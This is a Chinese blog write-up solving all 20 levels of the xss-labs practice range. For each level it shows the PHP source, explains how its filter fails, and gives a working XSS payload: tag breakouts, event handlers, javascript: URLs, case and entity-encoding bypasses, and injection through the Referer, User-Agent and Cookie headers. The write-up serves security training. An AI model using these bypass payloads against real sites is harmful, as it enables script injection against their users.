首页 > 其他分享 >xss-labs-master靶机1-20关解题思路

xss-labs-master靶机1-20关解题思路

时间:2024-11-11 14:00:03浏览次数:1  
标签:xss 20 replace labs window alert str echo

xss-labs-master靶机1-20关解题思路

xss-labs-master靶机是xss-labs作者在github上发布的后来不知道为什么就把它删了,可能是因为这

个靶机属于静态页面有一个通用的推广方式(具体在后面),不过还是希望读者使用实战中的攻击手段学 习,这个靶机是对XSS漏洞的专项练习, 一共有二十关,也是小白的看门砖吧!比如现在的我!大

哭!!!!

在这篇文章中,默认读者已有WEB渗透测试相关知识,以及PHP、 HTML等相关知识。

xss-labs-master通关宝典

• o 第一关 不使用过滤器 第二关 闭合标签

第三关 单引号闭合并添加事件 第四关 双引号闭合并添加事件 第五关 javascript伪协议

第六关 大小写绕过

第七关 双重书写 第八关 字符实体

第九关 检测关键字存在 第十关 隐藏信息

第十一关 Referer信息

第十二关 user-agent信息 第十三关 Cookie信息

第十四关 exif xss

第十五关 ng-include属性 第十六关 空格==回车

第十七关 合二为一

第十八关 是作者偷懒了吗?还是我悟不出其中的精髓??????? 第十九关

第二十关

万能通关秘籍

第一关 不使用过滤器

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>

<head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level2.php?keyword=test"; }

</script>

<title>欢迎来到level1</title>

</head> <body>

<h1 align=center>欢迎来到level1</h1> <?php

ini_set("display_errors", 0); $str = $_GET["name"];

echo "<h2 align=center>欢迎用户".$str."</h2>"; ?>

<center><img src=level1.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

?>

</body> </html>

1234567891011121314151617181920212223242526

b、分析

这关只给一个图片,根据图片可以知道这关容易,而链接上有一个参数name ,说明突破口再name这 里,根据代码我们可以看出,代码是将用户以GET方式提交的参数name ,没有做任何防御措施就直接 显示在HTML页面中,所以将使用 alert('xss') 放入name变量中即可。

c、方法

这里就是直接用脚本的就行,没有方法可言。

d、注入语句

http://靶机网址/xss-labs-master/level1.php?name=<script>alert(/xss/)</script>

1

第二关 闭合标签

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level3.php?writing=wait"; }

</script>

<title>欢迎来到level2</title> </head>

<body>

<h1 align=center>欢迎来到level2</h1> <?php

ini_set("display_errors", 0); $str = $_GET["keyword"];

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>

<form action=level2.php method=GET>

<input name=keyword value="'.$str.'">

<input type=submit name=submit value="搜索"/>

</form>

</center>'; ?>

<center><img src=level2.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

?>

</body> </html>

123456789101112131415161718192021222324252627282930

b、分析

这关我们可以发现多了一个文本框,我们先用之前的语句填入文本框里面,发现不行,什么有了防御机 制,那么我们看看源代码,它将我们输入的值给了value,然后它再传给了一个 htmlspecialchars 函 数,这个函数是把预定义的字符转换为 HTML 实体,说明把标签吃掉了,那么我们的突破口就在value这 里,我们可以通过闭合标签,使得这一句就闭合掉,即在 alert('xss') 前面加 "> ,对前面input标签进 行闭合。

htmlspecialchars 函数快查链接: 这里

c、方法

这里就是我们使用闭合的方法,就是闭合了``标签,产生新的执行语句。

d、注入语句

http://192.168.226.128/xss-labs-master/level2.php?keyword="><script>alert(/xss/) </script>

1

第三关 单引号闭合并添加事件

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level4.php?keyword=try harder!"; }

</script>

<title>欢迎来到level3</title> </head>

<body>

<h1 align=center>欢迎来到level3</h1> <?php

ini_set("display_errors", 0); $str = $_GET["keyword"];

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 .</h2>"." <center>

<form action=level3.php method=GET>

<input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 />

</form>

</center>"; ?>

<center><img src=level3.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

?>

</body> </html>

123456789101112131415161718192021222324252627282930

b、分析

这个题就是变了个图片,感觉也没什么的,先用之前的代码测试一下,发现没用,看看源码,发现这里 不但对 " 号做了防御,而这小子居然在value这里也加了 htmlspecialchars 函数,还是逃不过啊!那 就刚憋,虽然对了双引号做了防御,但是却放行单引号,这种情况我们可以通过事件标签触发表单执

行。

c、方法

这种情况我们可以通过事件标签触发表单执行,即通过使用HTML的事件知识对其注入。 一些常用的HTML标签事件: 这里

d、注入语句

http://192.168.226.128/xss-labs-master/level3.php? keyword='οnmοuseοver='alert(/xss/)

1

第四关 双引号闭合并添加事件

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level5.php?keyword=find a way out!"; }

</script>

<title>欢迎来到level4</title>

</head> <body>

<h1 align=center>欢迎来到level4</h1> <?php

ini_set("display_errors", 0); $str = $_GET["keyword"];

$str2=str_replace(">","",$str); $str3=str_replace("<","",$str2);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>

<form action=level4.php method=GET>

<input name=keyword value="'.$str3.'">

<input type=submit name=submit value=搜索 />

</form>

</center>'; ?>

<center><img src=level4.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";

?>

</body> </html>

123456789101112131415161718192021222324252627282930313233

b、分析

这关和之前几个感觉差不多,同样不能用之前套路了,看看源码,发现这里不但对 ‘ 号做了防御,他这 次不对value进行过滤,而是用 str_replace 函数直接过滤掉 <> ,但是不知道是不是有疏忽,对了单 引号做了防御,但是却放行双引号,这种情况我们还是可以通过事件标签触发表单执行。

str_replacestr 函数快查:在此

c、方法

这种情况我们可以通过事件标签触发表单执行,不过需要的双引号改成单引号。

d、注入语句

http://192.168.226.128/xss-labs-master/level3.php? keyword="οnmοuseοver="alert(/xss/)

1

第五关 javascript伪协议

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level6.php?keyword=break it out!"; }

</script>

<title>欢迎来到level5</title> </head>

<body>

<h1 align=center>欢迎来到level5</h1> <?php

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>

<form action=level5.php method=GET>

<input name=keyword value="'.$str3.'">

<input type=submit name=submit value=搜索 />

</form>

</center>'; ?>

<center><img src=level5.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";

?>

</body> </html>

1234567891011121314151617181920212223242526272829303132

b、分析

这关和往常一样,使用之前的语句是不行的,根据源代码,我们发现它对<script和on的都做了特殊处 理,而且还使用 strtolower 函数对所有字符串变成小写,单引号也不可用了,但是我们还是可以闭合 语句,通过双引号加>闭合,但是闭合归闭合,却没有用来触发的条件呀!我们这时候可以使用

javascript伪协议以及标签进行注入。 javascript伪协议快查: 在此

c、方法

使用javascript伪协议以及标签进行注入,就是在代码前面加上javascript:,在这里的标签不一定只是链 接标签,还可以其他标签,可以自己了解。

d、注入语句

http://192.168.226.128/xss-labs-master/level5.php?keyword="><a href='javascript:alert(/xss/)'>xss

1

第六关 大小写绕过

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level7.php?keyword=move up!"; }

</script>

<title>欢迎来到level6</title> </head>

<body>

<h1 align=center>欢迎来到level6</h1> <?php

ini_set("display_errors", 0); $str = $_GET["keyword"];

$str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>

<form action=level6.php method=GET>

<input name=keyword value="'.$str6.'">

<input type=submit name=submit value=搜索 />

</form>

</center>'; ?>

<center><img src=level6.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";

?>

</body> </html>

1234567891011121314151617181920212223242526272829303132333435

b、分析

这题我们可以看出虽然对on、src、data、 href、<script进行过滤,但是没有了对大写字母进行修改, 所以我们可以使用单引号闭合,加大小写的脚本或者标签方法注入。

c、方法

可以使用单引号闭合,加大小写的脚本或者标签方法注入。

d、注入语句

http://192.168.226.128/xss-labs-master/level6.php?keyword="><scRipt>alert(/xss/) </scRipt>

1

第七关 双重书写

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level8.php?keyword=nice try!"; }

</script>

<title>欢迎来到level7</title> </head>

<body>

<h1 align=center>欢迎来到level7</h1> <?php

ini_set("display_errors", 0);

$str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str);

$str3=str_replace("on","",$str2);

$str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>

<form action=level7.php method=GET>

<input name=keyword value="'.$str6.'">

<input type=submit name=submit value=搜索 />

</form>

</center>'; ?>

<center><img src=level7.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";

?>

</body> </html>

1234567891011121314151617181920212223242526272829303132333435

b、分析

我们可以看到输入比上一题加深了大小写过滤的的难度,但是它却把特殊语义的字符串修改成了空字符 串,我们就可以使用特殊语义重构的方法进行注入。

c、方法

可以使用特殊语义重构的方法进行注入,就是在特殊语义内在加入特殊语义。

d、注入语句

http://192.168.226.128/xss-labs-master/level6.php?keyword="> <scrscriptipt>alert(/xss/)</scrscriptipt>

1

第八关 字符实体

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level9.php?keyword=not bad!"; }

</script>

<title>欢迎来到level8</title> </head>

<body>

<h1 align=center>欢迎来到level8</h1> <?php

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6);

echo '<center>

<form action=level8.php method=GET>

<input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 />

</form>

</center>'; ?>

<?php

echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; ?>

<center><img src=level8.jpg></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";

?>

</body> </html>

123456789101112131415161718192021222324252627282930313233343536373839

b、分析

这次更狠直接把上一题的疏忽补全,这是我们用之前的方法是肯定不行了,那么我们就需要引入编码绕 过的概念,由于会被htmlspecialchars函数转义,所以可将所有字符编码为HTML实体,从而绕过。

HTML实体速查: 在此 HTML实体转换器: 在此

c、方法

使用编码绕过概念,就是将所有字符编码为HTML实体。

d、注入语句

javasc&#114;ipt:alert(/xss/)

1

第九关 检测关键字存在

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level10.php?keyword=well done!"; }

</script>

<title>欢迎来到level9</title> </head>

<body>

<h1 align=center>欢迎来到level9</h1> <?php

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6);

echo '<center>

<form action=level9.php method=GET>

<input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 />

</form>

</center>'; ?>

<?php

if(false===strpos($str7,'http://')) {

echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; }

else

{

echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; }

?>

<center><img src=level9.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";

?>

</body> </html>

12345678910111213141516171819202122232425262728293031323334353637383940414243444

546

b、分析

我们发现这里多了一个 strpos 函数,这个函数是用来查找指定文本在字符串中第一次出现的位置,这 时候我们就不得不在代码里加入 http:// ,但是并没有过滤HTML实体编码,所以我们还是使用编码绕 过。

strpos 函数速查:在此

c、方法

使用过滤HTML实体编码,但是由于需要加入http://,肯定不能在http://后面加代码,必须在前面,并 且将http://注释掉才能执行。

d、注入语句

javasc&#114;ipt:alert(/xss/)//http://

1

第十关 隐藏信息

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level11.php?keyword=good job!"; }

</script>

<title>欢迎来到level10</title> </head>

<body>

<h1 align=center>欢迎来到level10</h1> <?php

ini_set("display_errors", 0); $str = $_GET["keyword"];

$str11 = $_GET["t_sort"];

$str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>

<form id=search>

<input name="t_link" value="'.'" type="hidden">

<input name="t_history" value="'.'" type="hidden">

<input name="t_sort" value="'.$str33.'" type="hidden"> </form>

</center>'; ?>

<center><img src=level10.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

?>

</body> </html>

12345678910111213141516171819202122232425262728293031323334

b、分析

这一题有点难度,我们使用之前的方法发现,无论怎么样都没用,那么我们来看看源码,发现有一个 t_sort参数,是需要我们在后台才能找到的,而这个参数其实并没有加什么特殊防御,只是过滤了尖括 号,所以我们可以使用触发事件标签进行。

c、方法

使用触发事件标签进行,是在URL上加入t_sort值=触发事件,注意用的是双引号扣起来。

d、注入语句

http://192.168.226.128/xss-labs-master/level10.php? keyword=1&t_sort="οnmοuseοver="alert(/xss/)

#注意这里由于没有文本框,需要在浏览器后台的<input name="t_sort" value="'.$str33.'"

type="hidden">这行的type值改成text

12

第十一关 Referer信息

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8">

<script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level12.php?keyword=good job!"; }

</script>

<title>欢迎来到level11</title>

</head> <body>

<h1 align=center>欢迎来到level11</h1> <?php

ini_set("display_errors", 0); $str = $_GET["keyword"];

$str00 = $_GET["t_sort"];

$str11=$_SERVER['HTTP_REFERER'];

$str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>

<form id=search>

<input name="t_link" value="'.'" type="hidden">

<input name="t_history" value="'.'" type="hidden">

<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden">

</form>

</center>'; ?>

<center><img src=level11.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

?>

</body> </html>

123456789101112131415161718192021222324252627282930313233343536

b、分析

我们初看,感觉和上一关差不多,但是看源码发现有一个 $str11=$_SERVER['HTTP_REFERER'];字 段,并且只对其进行双引号过滤,而HTTP_REFERER是获取http请求头中的Referer字段,就是我们上 一级网页的url,那么我们就需要使用到抓包工具进行抓包,修改Referer字段。

修改前

修改后

c、方法

通过使用burpsuite软件对Referer字段进行修改恶意代码。

d、注入语句

Referer: "οnmοuseοver="alert(/xss/)

1

第十二关 user-agent信息

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level13.php?keyword=good job!"; }

</script>

<title>欢迎来到level12</title> </head>

<body>

<h1 align=center>欢迎来到level12</h1> <?php

ini_set("display_errors", 0); $str = $_GET["keyword"];

$str00 = $_GET["t_sort"];

$str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>

<form id=search>

<input name="t_link" value="'.'" type="hidden">

<input name="t_history" value="'.'" type="hidden">

<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden">

</form>

</center>'; ?>

<center><img src=level12.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

?>

</body> </html>

123456789101112131415161718192021222324252627282930313233343536

b、分析

这一题和上一题一样的手法,只是字段改变了是在http请求头中的user-agent字段上。

c、方法

通过使用burpsuite软件对user-agent字段进行修改恶意代码。

d、注入语句

User-Agent: "οnmοuseοver="alert(/xss/)

1

第十三关 Cookie信息

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level14.php"; }

</script>

<title>欢迎来到level13</title>

</head> <body>

<h1 align=center>欢迎来到level13</h1> <?php

setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0);

$str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"];

$str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 .

</h2>".'<center> <form id=search>

<input name="t_link" value="'.'" type="hidden">

<input name="t_history" value="'.'" type="hidden">

<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">

<input name="t_cook" value="'.$str33.'" type="hidden">

</form>

</center>'; ?>

<center><img src=level13.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

?>

</body> </html>

12345678910111213141516171819202122232425262728293031323334353637

b、分析

这一题和上两题一样的手法,改变的是在http请求头中的Cookie字段上。

c、方法

通过使用burpsuite软件对Cookie字段进行修改恶意代码。

d、注入语句

Cookie: user="οnmοuseοver="alert(/xss/)

1

第十四关 exif xss

a、后台代码

<html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>欢迎来到level14</title>

</head> <body>

<h1 align=center>欢迎来到level14</h1>

<center><iframe name="leftframe" marginwidth=10 marginheight=10

src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a

href=/xss/level15.php?src=1.gif>点我进level15</a></center>

</body> </html>

12345678910

b、分析

这啥嘛,空白???? what???等了一会,302,需要跳到一个新的网站,才能打,但是这个网站始

终进不去,所以跳过吧!不过听网上说是exif xss????????????????这是啥 子?????

度娘:链接

搜嘎

第十五关 ng-include属性

a、后台代码

<html ng-app> <head>

<meta charset="utf-8">

<script src="angular.min.js"></script> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level16.php?keyword=test"; }

</script>

<title>欢迎来到level15</title> </head>

<h1 align=center>欢迎来到第15关, 自己想个办法走出去吧!</h1>

<p align=center><img src=level15.png></p> <?php

ini_set("display_errors", 0); $str = $_GET["src"];

echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>

1234567891011121314151617181920

b、分析

咋一看这关好像没什么漏洞来着,但是如果我们仔细看后台,发现有一个``语句, ng-include指令一般 用于包含外部的 HTML 文件, ng-include属性的值可以是一个表达式,返回一个文件名,但是默认情况 下,包含的文件需要包含在同一个域名下。很有可能这个指令就是突破口,我们看看源代码,果然有

ng-include,并且对其输入做了过滤,所以我们可以包含一个有漏洞的页面,那么不就破解了吗?

c、方法

利用ng-include指令的特性包含一个有漏洞的html文件,注意这里有对尖括号的过滤。 ng-include是什么?: 链接

d、注入语句

http://192.168.226.128/xss-labs-master/level15.php?

src='http://192.168.226.128/xss-labs-master/level1.php?name="><a href="javascript:alert(/xss/)">xss'

1

第十六关 空格==回车

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level17.php?arg01=a&arg02=b"; }

</script>

<title>欢迎来到level16</title>

</head> <body>

<h1 align=center>欢迎来到level16</h1> <?php

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","&nbsp;",$str); $str3=str_replace(" ","&nbsp;",$str2);

$str4=str_replace("/","&nbsp;",$str3); $str5=str_replace(" ","&nbsp;",$str4); echo "<center>".$str5."</center>";

?>

<center><img src=level16.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";

?>

</body> </html>

1234567891011121314151617181920212223242526272829

b、分析

这一关用的防御方式并不复杂,但是却考虑的比较周全,空格、反斜杠、 script都被str_replace函数替 换成&nbsp了,但是在HTML中可以将%0a或者%0D当成空格使用。

c、方法

使用替身大法,就是将%0a或者%0D当成空格使用,在HTML中这样是合法的。

d、注入语句

http://192.168.226.128/xss-labs-master/level16.php?keyword= <a%0Ahref='javas%0Acript:alert("xss")'>xss

1

第十七关 合二为一

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!"); }

</script>

<title>欢迎来到level17</title> </head>

<body>

<h1 align=center>欢迎来到level17</h1> <?php

ini_set("display_errors", 0); echo "<embed

src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg 02"])." width=100% heigth=100%>";

?>

<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2> </body>

</html>

1234567891011121314151617181920

b、分析

这一关有两个参数: arg01、arg02,当我们发送的时候,发现他们是会互相拼接起来的,那么我们就容 易想到这里会不会就是突破口,看看源码,发现这两个参数是在embed上, embed标签定义嵌入的内 容,并且做了尖括号过滤,那么我们可以加入一个属性进去,生成恶意代码。

c、方法

利用arg01、arg02参数进行属性添加,产生恶意代码。

注意:这个题有些浏览器不会出现图片 d、注入语句

http://192.168.111.138/xss-labs-master/level17.php?arg01= onm ousemove&arg02=javascript:alert(/xss/)

#注意在arg01这里要添加空格,不然就是将属性与之前的xsf01.swf?进行连接了

12

第十八关 是作者偷懒了吗?还是我悟不出其中的精 髓???????

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level19.php?arg01=a&arg02=b"; }

</script>

<title>欢迎来到level18</title> </head>

<body>

<h1 align=center>欢迎来到level18</h1> <?php

ini_set("display_errors", 0);

echo "<embed

src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg 02"])." width=100% heigth=100%>";

?>

</body> </html>

1234567891011121314151617181920

b、分析

这题和上一题的题目是基本一样的思路,只是换了不一样的图片。

c、方法

利用arg01、arg02参数进行属性添加,产生恶意代码。

d、注入语句

http://192.168.111.138/xss-labs-master/level18.php?arg01= onm ousemove&arg02=javascript:alert(/xss/)

1

第十九关

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level20.php?arg01=a&arg02=b"; }

</script>

<title>欢迎来到level19</title>

</head> <body>

<h1 align=center>欢迎来到level19</h1> <?php

ini_set("display_errors", 0); echo '<embed

src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["ar g02"]).'" width=100% heigth=100%>';

?>

</body> </html>

1234567891011121314151617181920

b、分析

我们使用之前的方法发现,没有起到作用,说明源码已经改变,但是我们发现语句间被单引号垄断并且 只能规范书写,不仅对引号做了实体编码处理,而且将关键字当作普通文本,但是既然是19关(估计这 里要是再现实中,可能就视为无漏洞了吧,个人感觉),说明还是有漏洞,我们回去看看页面的图片,发 现有说兼容性问题,那么就涉及到版本问题,我们可以将xsf03.swf进行反编译,得到version未定义,

加上swf这个文件的特性可以传入参数。

c、方法

利用图片信息以及swf特性进行猜测或者flash反编译得到version参数未定义,从而传入恶意代码。

d、注入语句

http://192.168.111.138/xss-labs-master/level19.php?arg01=version&arg02=<a href='javascript:alert(/xss/)'>xss</a>

1

第二十关

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level21.php?arg01=a&arg02=b"; }

</script>

<title>欢迎来到level20</title> </head>

<body>

<h1 align=center>欢迎来到level20</h1> <?php

ini_set("display_errors", 0); echo '<embed

src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["ar g02"]).'" width=100% heigth=100%>';

?>

</body>

</html>

1234567891011121314151617181920

b、分析

这题和19题一模一样,就是插件不同。

c、方法

和之前几道题差不多。

http://192.168.111.138/xss-labs-master/level19.php?

arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a= !alert(1)//&width&height 1

万能通关秘籍

福利:有一种通用的通关方式,那就是我们如果在页面后台添加一个事件呢?就是在后台的图片处直接 添加。

标签:xss,20,replace,labs,window,alert,str,echo
From: https://www.cnblogs.com/zdytom/p/18539491

相关文章

  • ACTF新生赛2020:swp
    好家伙流量分析启动一路看过来大部分是TCP请求,统计里看看HTTP的请求有一个秘密的压缩包下面还有个提示将HTTP流中的数据导出,查看一下刚刚那个hint.html提示不需要密码,不出意外的话和后面的压缩包有关系猜对咯是需要密码的,但是既然已经提示了不需要密码,那就应该是伪......
  • 20万字208道Java经典面试题总结(附答案)
    1、JDK和JRE有什么区别?JDK(JavaDevelopmentKit),Java开发工具包JRE(JavaRuntime Environment),Java运行环境JDK中包含JRE,JDK中有一个名为jre的目录,里面包含两个文件夹bin和lib,bin就是JVM,lib就是JVM工作所需要的类库。2、==和 equals 的区别是什么?对于基本类型,==比较的......
  • 2024年最全java面试题(八股文)
    1.Java基础1.1为什么Java代码可以实现一次编写、到处运行?在程序运行前,Java源代码(.java)需要经过编译器编译成字节码(.class)。在程序运行时,JVM负责将字节码翻译成特定平台下的机器码并运行,也就是说,只要在不同的平台上安装对应的JVM,就可以运行字节码文件。1.2一个Java文件里......
  • PEF22554HTV3.1 英特尔intel 电信 IC 调帧器,线路接口单元(LIU) P-TQFP-144 在售20000PCS
    PEF22554HTV3.1是一款由英特尔(Intel)生产的电信IC调帧器,它可以与线路接口单元(LIU)一起使用。该调帧器的封装类型是P-TQFP-144。该调帧器适用于电信领域的应用,可以用于实现数据调制和解调功能,常见于传输和接收语音、数据和视频信号的通信设备中。型号:PEF22554HTV3.1类别:集成电路......
  • 2024ccpc女生赛题解
    考场上写的A,C,H,L,M下来补一下剩下的E注意\(p[i]<i\)这个性质和重心关系不大,一个简单的构造,手模几个样例就能发现规律。倒着枚举:\(c[i]=0\)的是叶子,不用处理\(c[i]>0\),这个点连到父亲所在连通块的根上即可。并查集维护连通块以及连通块的根,根就是连通块中最小编号的点。#inc......
  • 代码随想录算法训练营第十天 | 232.用栈实现队列+225. 用队列实现栈+20. 有效的括号+1
    加入训练营有点晚,没跟上任务就开始有些偷懒没有真的认真开始,从第十天开始下决心认真完成每天任务还有博客记录学习过程。栈与队列理论基础首先是学习了栈和队列的理论基础,队列 先进先出,栈 先进后出。栈 以底层容器完成其所有的工作,且对外接口统一,有.push,.pop等,不提供......
  • # 学期(如2024-2025-1) 学号(如:20241402) 《计算机基础与程序设计》第8周学习总结
    学期(如2024-2025-1)学号(如:20241402)《计算机基础与程序设计》第8周学习总结作业信息这个作业属于哪个课程<班级的链接>(如2024-2025-1-计算机基础与程序设计)这个作业要求在哪里<作业要求的链接>(如2024-2025-1计算机基础与程序设计第一周作业)这个作业的目标<写上......
  • Sigrity SPEED2000 Power Ground Noise Simulation模式如何进行信号时域仿真操作指导(
    SigritySPEED2000PowerGroundNoiseSimulation模式如何进行信号时域仿真操作指导(一)-单个IBIS模型SigritySPEED2000PowerGroundNoiseSimulation模式如何进行信号时域仿真操作指导(一)-单个信号是用晶体管模型来作为驱动,下面以单个IBIS模型作为驱动来说明如何进行时......
  • Sigrity SPEED2000 Power Ground Noise Simulation模式如何进行信号时域仿真操作指导(
    SigritySPEED2000PowerGroundNoiseSimulation模式如何进行信号时域仿真操作指导(二)-三个信号SigritySPEED2000PowerGroundNoiseSimulation模式如何进行信号时域仿真操作指导(一)-单个信号详细介绍了单个信号的网络时域电压仿真,并且查看电压时域曲线,如果将信号扩展......
  • [极客大挑战 2019]EasySQL
    网站首页解题思路正常登录看看情况,输入用户名admin,密码随意,先找闭合,输入用户名admin',得到不一样的报错得知闭合符号为单引号。由于我们不知道用户名,可以尝试用or1绕过输入用户名,即用户名输入admin'or1,登录得到flag{d039ca08-d6de-4b03-b876-c2b86d85fa12}......